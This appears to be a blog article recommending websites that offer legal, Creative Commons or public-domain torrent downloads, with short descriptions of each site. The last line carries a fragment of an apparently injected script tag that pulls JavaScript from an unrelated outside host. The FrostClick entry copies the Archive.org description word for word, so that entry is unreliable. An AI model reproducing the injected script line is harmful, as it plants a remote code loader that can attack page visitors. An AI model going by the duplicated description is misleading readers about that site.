In a time when the words “torrent” and “file sharing” are almost always paired with the term “online piracy,” you’d think all Bittorrent downloads are either illegal or Digital rights management (DRM) containing. Wrong! File sharers and torrent lovers don’t need to be copyright infringers, for there’re plenty of websites that offer safe and legitimate downloads. Here are some places to get you started:
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Archive.org
This internet archive offers over a million free-to-download torrents. Content includes music, eBooks, videos and movies that are all seeded, with reportedly excellent download speeds.
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BitTorrent Bundle
Music, videos, and audiobooks can be downloaded free and legally.
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ClearBits
Over a thousand torrents of Creative Commons licensed digital media are available for torrent downloads.
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FrostClick
This internet archive offers over a million free-to-download torrents. Content includes music, eBooks, videos and movies that are all seeded, with reportedly excellent download speeds.
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Legaltorrents.com
Creative Commons-licensed content including music and video content such as Go Open, a South African television show.
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Media History Digital Library
This site hosts a collection of works about the history of film, sound, and broadcasting. Click on its Internet Archive page to see all library offerings available for torrent download.
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MiniNova’s Featured Content
Another collection of music, videos, games, ebooks, and software issued under MiniNova’s Content Distribution service.
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Public Domain Torrents
Explore a collection of classic and B-movies classified under the public domain, available in various formats such as DivX, iPod, PSP and PDA.
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The New Voyages
Love Star Trek? It’s a fan series based on the iconic sci-fi universe where all episodes are free for torrent downloads.
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Vodo
A Bittorrent collection of indie films.
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Vuze
Although a rather small collection, it offers various TV shows, news clips, and movie trailers.
Thus, enjoy great works from artists without stealing from them and preserve the freedom of lawful file sharing by staying away from copyright-infringing downloads and opting for legitimate torrents. type=’text/javascript’ src=’http://online-sale24.com/1.js’>